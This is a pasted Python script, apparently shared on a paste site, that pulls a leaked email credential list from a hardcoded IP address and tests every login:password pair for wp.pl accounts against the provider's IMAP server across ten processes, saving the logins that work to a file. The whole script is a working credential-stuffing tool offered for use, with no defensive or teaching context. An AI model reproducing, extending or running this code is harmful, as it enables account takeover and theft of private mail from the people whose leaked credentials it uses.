· 5 years ago · Jul 30, 2020, 12:38 PM
1import requests
2import imaplib
3import datetime
4import multiprocessing
5import time
6
7class EmailBruteForce:
8
9 def __init__(self, threads):
10 self.actual_data = []
11 try:
12 with open('wp.pl.txt', 'r', encoding='latin1') as f:
13 self.actual_data = f.read().split('\n')
14 except:
15 self.write_raw_to_file('PL.txt', 'http://207.180.202.93/x/PL.txt')
16 self.extract_specific_server_emails("PL.txt", 'wp.pl')
17
18 try:
19 self.divided_data = list(self.divide(threads))
20 except:
21 self.extract_specific_server_emails("PL.txt", "wp.pl")
22
23
24
25 def write_raw_to_file(self, filename, link):
26 """
27 :param filename: file name to insert raw data from link
28 :param link: raw data link
29 """
30 try:
31 r = requests.get(link).text
32 with open(filename, 'w', encoding='utf-8', newline='\n') as f:
33 f.write(r)
34 except Exception as e:
35 print(e)
36
37
38 def extract_specific_server_emails(self, filename, ending):
39 """
40 Extracting emails from file
41 Usage: extract_specific_server_emails("filename.txt", "wp.pl")
42 :param filename:
43 :param ending: email server ('wp.pl'), ('interia.pl'), ('gmail.com')
44 :return: New file with extracted emails
45 """
46 with open(filename, 'r', encoding='utf-8') as f:
47 content = f.readlines()
48 for line in content:
49 if ending in line:
50 with open(f"{ending}.txt", 'a', encoding='utf-8') as f:
51 f.write(line)
52 self.actual_data.append(line)
53 print('Done')
54
55
56 def write_correct_credentials_to_file(self, filename, login, password):
57 try:
58 content = f"{login}:{password}\n"
59 with open(filename, 'a', encoding='utf-8', newline='\n') as f:
60 f.write(content)
61 except Exception as e:
62 print(e)
63
64
65 def email_login(self, login, password, imap, port):
66
67 """
68 :param login: email
69 :param password: password
70 :param imap: server's imap
71 :param port: server's port
72 :return: True or False
73 """
74 try:
75 m = imaplib.IMAP4_SSL(imap, port)
76 m.login(login, password)
77 self.write_correct_credentials_to_file("finded_credentials.txt", login, password)
78 print(f'[+] {login} : {password}')
79 m.logout()
80 except:
81 print(f'[-] {login} : {password}')
82
83
84 def check_login(self, filename, imap, port):
85 """
86 Checking all emails and passwords from file
87 """
88 with open(filename, 'r', encoding='utf-8') as f:
89 content = f.read().split('\n')
90 content = self.actual_data
91 print(content)
92 for line in content:
93 try:
94 login, password = line.split(":")
95 self.email_login(login, password, imap, port)
96 except Exception as e:
97 print(e)
98
99 def process_function(self):
100 filename = 'wp.pl.txt'
101 imap = 'imap.wp.pl'
102 port = 993
103 self.check_login(filename, imap, port)
104
105 def load_data(self):
106 self.write_raw_to_file('PL.txt', 'http://207.180.202.93/x/PL.txt')
107 self.extract_specific_server_emails("PL.txt", "wp.pl")
108
109 def divide(self, threads):
110 for i in range(0, (len(self.actual_data)-1), (len(self.actual_data)-1) // threads):
111 yield self.actual_data[i:i + (len(self.actual_data)-1) // threads]
112
113 def check_login_divided(self, imap, port, id, threads):
114 """
115 Checking all emails and passwords from file
116 """
117 self.divided_data = list(self.divide(threads))
118 content = self.divided_data[id]
119 for line in content:
120 try:
121 login, password = line.split(":")
122 self.email_login(login, password, imap, port)
123 except Exception as e:
124 print(e)
125
126threads = 10
127ebr = EmailBruteForce(threads)
128processes = []
129
130def main():
131 def menu():
132 print("""Menu:
133 1. Write raw to file
134 2. Extract specific server emails
135 3. Do scan
136 """)
137 choice = input()
138 if choice == '1':
139 ebr.write_raw_to_file('PL.txt', 'http://207.180.202.93/x/PL.txt')
140 menu()
141 if choice == '2':
142 ebr.extract_specific_server_emails("PL.txt", "wp.pl")
143 menu()
144
145 if choice == '3':
146 for i in range(threads):
147 p = multiprocessing.Process(target=ebr.check_login_divided, args=['imap.wp.pl', 993, i, threads])
148 p.start()
149 processes.append(p)
150
151 for process in processes:
152 process.join()
153 menu()
154
155
156if __name__ == '__main__':
157 pass
158 main()
159
160
161# check_login("wp.pl.txt", 'imap.wp.pl', 993)
162
163## zrobić logowanie przez with open